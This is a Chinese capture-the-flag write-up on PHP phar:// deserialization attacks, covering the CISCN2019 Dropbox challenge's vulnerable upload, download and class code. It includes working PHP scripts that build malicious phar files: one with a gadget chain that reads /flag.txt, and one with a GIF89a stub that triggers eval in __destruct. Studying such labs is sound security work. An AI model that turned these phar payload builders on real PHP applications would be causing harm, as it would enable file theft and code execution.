PHAR://

PHP文件操作允许使用各种URL协议去访问文件路径:如data://,php://,等等

  1. include('php://filter/read=convert.base64-encode/resource=index.php');
  2. include('data://text/plain;base64,xxxxxxxxxxxx');

前者使用到了过滤器来进行读写文件,后者使用data协议进行文件的读写。

phar://也是流包装的一种,关于phar的结构:

1.stub

  1. 一个供phar扩展用于识别的标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,注意此处必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以在前面轻易伪造一个图片文件的头如GIF98a来绕过一些上传限制;

2.manifest

  1. 用于保存压缩文件的权限、属性等信息,并且以序列化的形式存储用户自定义的meta-data,会触发反序列化,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化。

3.contents

  1. 被压缩文件的内容。

4.signature

  1. 签名,放在文件末尾.

就像test.jpg可以作为php文件被include执行一样,test.phar改名为test.jpg之后,phar://协议也会将test.jpg作为phar文件处理,所以我们也可以通过phar://test.jpg正常访问test.phar,因为php的文件函数都是以流的形式读取文件。

影响函数:

  1. fileatime / filectime / filemtime
  2. stat / fileinode / fileowner / filegroup / fileperms
  3. file / file_get_contents / readfile / fopen
  4. file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable
  5. parse_ini_file
  6. unlink

以上函数在通过phar://伪协议解析phar文件时都会将数据反序列化,从而实现序列化的漏洞,因为meta-data是以序列化的形式存储的。

一段生成phar的的脚本:

  1. <?php
  2. class User {
  3. public $db;
  4. }
  5. class File {
  6. public $filename;
  7. }
  8. class FileList {
  9. private $files;
  10. private $results;
  11. private $funcs;
  12. public function __construct() {
  13. $file = new File();
  14. $file->filename = '/flag.txt';
  15. $this->files = array($file);
  16. $this->results = array();
  17. $this->funcs = array();
  18. }
  19. }
  20. @unlink("phar.phar");
  21. $phar = new Phar("1.phar"); //后缀名必须为phar
  22. $phar->startBuffering();
  23. $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
  24. $o = new User();
  25. $o->db = new FileList();
  26. $phar->setMetadata($o); //将自定义的meta-data存入manifest
  27. $phar->addFromString("exp.txt", "test"); //添加要压缩的文件
  28. //签名自动计算
  29. $phar->stopBuffering();
  30. ?>

基本思路就是这样:上传phar文件,利用类中的可利用的方法,找到服务端文件操作函数并以phar://协议读取phar文件。

这是利用条件:

  1. phar文件要能够上传到服务器端。
  2. file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
  3. 要有可用的魔术方法作为“跳板”。
  4. 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

我个人理解这个过程就是我们利用phar://能够将文件以phar流的形式进行传递无论他的后缀是什么,这个时候我们在他的metedata中添加payload,payload需要适应服务端,即payload的序列化,进过反序列化是能够调用到目标机器上的类,从而执行目的类上面的魔术方法进行生成,因为在$phar->setMetadata($o);的时候自动的进行了反序列化的操作,所以我们需要在服务端有一个能执行序列化的函数,就是类似于filegetcontent方法,将其反序列化,还原其类的成员,同时我们想要执行的话,需要用到魔术函数,此时服务端上也要有魔术函数,就例如_destruct等等,所以是我们根据服务端来构造,要满足以上的三个条件,即能反序列化,生成一个类,在服务端上这个类有魔术方法。

这篇文章就很明白: https://xz.aliyun.com/t/2715

[CISCN2019 华北赛区 Day1 Web1]Dropbox

download.php:

  1. <?php
  2. session_start();
  3. if (!isset($_SESSION['login'])) {
  4. header("Location: login.php");
  5. die();
  6. }
  7. if (!isset($_POST['filename'])) {
  8. die();
  9. }
  10. include "class.php";
  11. ini_set("open_basedir", getcwd() . ":/etc:/tmp");
  12. chdir($_SESSION['sandbox']);
  13. $file = new File();
  14. $filename = (string) $_POST['filename'];
  15. if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
  16. Header("Content-type: application/octet-stream");
  17. Header("Content-Disposition: attachment; filename=" . basename($filename));
  18. echo $file->close();
  19. } else {
  20. echo "File not exist";
  21. }
  22. ?>

upload.php:

  1. <?php
  2. session_start();
  3. if (!isset($_SESSION['login'])) {
  4. header("Location: login.php");
  5. die();
  6. }
  7. include "class.php";
  8. if (isset($_FILES["file"])) {
  9. $filename = $_FILES["file"]["name"];
  10. $pos = strrpos($filename, ".");
  11. if ($pos !== false) {
  12. $filename = substr($filename, 0, $pos);
  13. }
  14. $fileext = ".gif";
  15. switch ($_FILES["file"]["type"]) {
  16. case 'image/gif':
  17. $fileext = ".gif";
  18. break;
  19. case 'image/jpeg':
  20. $fileext = ".jpg";
  21. break;
  22. case 'image/png':
  23. $fileext = ".png";
  24. break;
  25. default:
  26. $response = array("success" => false, "error" => "Only gif/jpg/png allowed");
  27. Header("Content-type: application/json");
  28. echo json_encode($response);
  29. die();
  30. }
  31. if (strlen($filename) < 40 && strlen($filename) !== 0) {
  32. $dst = $_SESSION['sandbox'] . $filename . $fileext;
  33. move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
  34. $response = array("success" => true, "error" => "");
  35. Header("Content-type: application/json");
  36. echo json_encode($response);
  37. } else {
  38. $response = array("success" => false, "error" => "Invaild filename");
  39. Header("Content-type: application/json");
  40. echo json_encode($response);
  41. }
  42. }
  43. ?>

根据包含的文件还有一个class.php,以及登录,注册的php页面。

在class.php当中:

  1. <?php
  2. class File {
  3. public $filename;
  4. public function close() {
  5. return file_get_contents($this->filename);
  6. }
  7. }
  8. class User {
  9. public $db;
  10. public function __destruct() {
  11. $this->db->close();
  12. }
  13. }
  14. class FileList {
  15. private $files;
  16. private $results;
  17. private $funcs;
  18. public function __call($func, $args) {
  19. array_push($this->funcs, $func);
  20. foreach ($this->files as $file) {
  21. $this->results[$file->name()][$func] = $file->$func();
  22. }
  23. }
  24. public function __destruct() {
  25. $table .= '<thead><tr>';
  26. foreach ($this->funcs as $func) {
  27. $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
  28. }
  29. $table .= '<th scope="col" class="text-center">Opt</th>';
  30. $table .= '</thead><tbody>';
  31. foreach ($this->results as $filename => $result) {
  32. $table .= '<tr>';
  33. foreach ($result as $func => $value) {
  34. $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
  35. }
  36. $table .= '</tr>';
  37. }
  38. echo $table;
  39. }
  40. }

虽说存在着任意文件下载的漏洞,但是由于:

  1. ini_set("open_basedir", getcwd() . ":/etc:/tmp");
  2. chdir($_SESSION['sandbox']);
  3. $file = new File();
  4. $filename = (string) $_POST['filename'];
  5. if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {

的限制,我们无法读取flag的文件,同事我们读取的范围只能限于etc,tmp,和当前目录集下面,例如我们读取etc/passwd就能够读取。

在观察delete文件

  1. <?php
  2. include "class.php";
  3. if (strlen($filename) < 40 && $file->open($filename)) {
  4. $file->detele();
  5. Header("Content-type: application/json");
  6. $response = array("success" => true, "error" => "");
  7. echo json_encode($response);
  8. } else {
  9. Header("Content-type: application/json");
  10. $response = array("success" => false, "error" => "File not exist");
  11. echo json_encode($response);
  12. }
  13. ?>

包含了class.php,两者结合进行分析:

  1. class File {
  2. public $filename;
  3. public function close() {
  4. return file_get_contents($this->filename);
  5. }
  6. }

在File类当中包含的close方法可能会获得文件内容。 在Usr类当中,存在魔术方法destruct,它调用了cloase方法,如果存在call魔术方法就可能被利用。

在FileList当中,存在__call的魔术方法,且为public:

  1. public function __call($func, $args) {
  2. array_push($this->funcs, $func);
  3. foreach ($this->files as $file) {
  4. $this->results[$file->name()][$func] = $file->$func();
  5. }
  6. }

当一个Filelist对象调用了close()方法,根据call方法的代码可以知道,文件的close方法会被执行,就可能拿到flag。

创建一个user的对象,其db变量是一个FileList对象,对象中的文件名为flag的位置。这样的话,当user对象销毁时,db变量的close方法被执行;而db变量没有close方法,这样就会触发call魔术方法,进而变成了执行File对象的close方法,同时close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来。
执行脚本:

  1. <?php
  2. class User {
  3. public $db;
  4. }
  5. class File {
  6. public $filename;
  7. }
  8. class FileList {
  9. private $files;
  10. private $results;
  11. private $funcs;
  12. public function __construct() {
  13. $file = new File();
  14. $file->filename = '/flag.txt';
  15. $this->files = array($file);
  16. $this->results = array();
  17. $this->funcs = array();
  18. }
  19. }
  20. @unlink("phar.phar");
  21. $phar = new Phar("phar.phar"); //后缀名必须为phar
  22. $phar->startBuffering();
  23. $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
  24. $o = new User();
  25. $o->db = new FileList();
  26. $phar->setMetadata($o); //将自定义的meta-data存入manifest
  27. $phar->addFromString("exp.txt", "test"); //添加要压缩的文件
  28. //签名自动计算
  29. $phar->stopBuffering();
  30. ?>
    另外以上代码执行后生成的phar文件我们使用notepad++打开是这样的

    O:4:"User":1:{s:2:"db";O:8:"FileList":3:{s:15:" FileList files";a:1:{i:0;O:4:"File":1:{s:8:"filename";s:9:"/flag.txt";}}s:17:" FileList results";a:0:{}s:15:" FileList funcs";a:0:{}}}
    一段序列化数据

小例子2: 服务端代码:

  1. <?php
  2. $filename=$_GET['filename'];
  3. class AnyClass{
  4. var $output = 'echo "ok";';
  5. function __destruct()
  6. {
  7. eval($this -> output);
  8. }
  9. }
  10. file_exists($filename);

根据这段我们时需要调用Anyclass的魔术方法__destruct: 根据需求我们可以构造出这样的实例化代码:

  1. <?php
  2. class AnyClass{
  3. var $output = 'echo "ok";';
  4. function __destruct()
  5. {
  6. eval($this -> output);
  7. }
  8. }
  9. $phar = new Phar('phar.phar');
  10. $phar -> stopBuffering();
  11. $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
  12. $phar -> addFromString('test.txt','test');
  13. $object = new AnyClass();
  14. $object -> output= 'phpinfo();';
  15. $phar -> setMetadata($object);
  16. $phar -> stopBuffering();

为了适合服务端上的Anyclass所以我们在本地自己生成Anyclass类,在使用phar进行压缩,序列化,然后利用phar协议进行发送,更改后缀名。

参考文章:https://xz.aliyun.com/t/2715

PHAR伪协议&&[CISCN2019 华北赛区 Day1 Web1]Dropbox的更多相关文章

  1. 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox 一.涉及知识点 1.任意文件下载 2.PHAR反序列化RCE 二.解题方法 刷题记录:[CISCN2019 华北赛区 ...

  2. BUUCTF | [CISCN2019 华北赛区 Day1 Web1]Dropbox

    步骤: 1.运行这个: <?php class User { public $db; } class File { public $filename; } class FileList { pr ...

  3. [CISCN2019 华北赛区 Day1 Web1]Dropbox

    0x01 前言 通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大.但在不久前的Black Hat上,安全研究员Sam ...

  4. 关于phar反序列化——BUUCTF-[CISCN2019 华北赛区 Day1 Web1]Dropbox

    太难了QAQ 先看看phar是啥https://blog.csdn.net/u011474028/article/details/54973571 简单的说,phar就是php的压缩文件,它可以把多个 ...

  5. [CISCN2019 华北赛区 Day1 Web1]Dropbox-phar文件能够上传到服务器端实现任意文件读取

    0x00知识点 phar是什么: 我们先来了解一下流包装 大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://,zlib://或php://.例如常见的 include('php ...

  6. 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk 一.知识点 1.伪协议文件读取 2.报错注入 刷题记录:[CISCN2019 华北赛区 Day1 Web5]Cy ...

  7. 刷题记录:[CISCN2019 华北赛区 Day1 Web2]ikun

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web2]ikun 一.涉及知识点 1.薅羊毛逻辑漏洞 2.jwt-cookies伪造 Python反序列化 二.解题方法 刷题记录:[CIS ...

  8. 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World

    目录 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World 一.前言 二.正文 1.解题过程 2.解题方法 刷题记录:[CISCN2019 华北赛区 Day2 Web1] ...

  9. BUUCTF | [CISCN2019 华北赛区 Day2 Web1]Hack World

    id=0 id=1 id=2 id=3 发现结果不一样,尝试 : ">4","=4","<4" : 在自己的环境下验证一下: 爆 ...

随机推荐

  1. CentOS 7环境下大量创建账号的方法

    1 一些账号相关的检查工具 1.1 pwck命令 pwck 这个指令在检查 /etc/passwd 这个账号配置文件内的信息,与实际的家目录是否存在等信息,还可以比对 /etc/passwd /etc ...

  2. 速记OSI七层协议模型

    OSI七层协议模型 第一层:物理层(Physical) 第二层:数据链路层(Data-Link) 第三层:网络层(NetWork) 第四层:传输层(Transport) 第五层:会话层(Session ...

  3. “路由大当家”OSPF的小秘密

    引入 OPSF是应用最广的路由协议,基本上,所有的IGP用到的都是OSPF,下面我们看看它的“小秘密” 优点: •没有跳数限制 •使用组播更新变化的路由和网络信息 •路由收敛速度较快 •以开销(Cos ...

  4. 获取访问的ip地址

    最近有一个这样的需求:{ 内网没有访问互联网的权限(没网) 内网:访问链接地址,跳转http://www.123.com 外网:访问链接地址,跳转http;//www.456.com } 在网上看到一 ...

  5. go语言之文件操作

    一: 相关的API 1func Create(name string) (file *File, err Error) 根据提供的文件名创建新的文件,返回一个文件对象,默认权限是0666 2 func ...

  6. Python 编程开发 实用经验和技巧

    文章目录 一.小数保留指定位小数 1.%f 方法 2.format函数 3.round()函数 4.直接截断 二.判断变量的数据类型的两种方法 1.type(): 2.isinstance() 三.p ...

  7. zabbix-4.0-监控服务器的ping告警设置

    问题:一直在困惑如果一台服务器的网络发生故障或者断开时,怎么第一时间发现并去排查. 思路:利用zabbix平台监控服务器,监控ping这一项,设置一个报警,并使用脚本去提醒与通知,可使用邮件报警/短信 ...

  8. Java Jar源码反编译工具那家强

    本文介绍下Java Jar常见的反编译工具,并给出使用感受. 反编译JAR能干什么: 排查问题.分析商业软件代码逻辑,学习优秀的源码思路. JD-GUI 下载地址:http://java-decomp ...

  9. 跟着兄弟连系统学习Linux-【day01】

    day01-20200527 p1.unix发展历史         (1960,有一个实验室,三个团队组成,开发了Unix雏形,但是因为没有办法发版,所以就荒废了.这个小组里面有一个人,打游戏的时候 ...

  10. Spring.Net依赖注入(属性注入)学习笔记

    一.前言: Spring.Net是Java开源框架迁移过来的,主要分为 1)依赖注入 2)面向方面编程 3)数据访问抽象 4)Asp.Net扩展 四个模块功能,这里只是简单介绍依赖注入模块功能. 对于 ...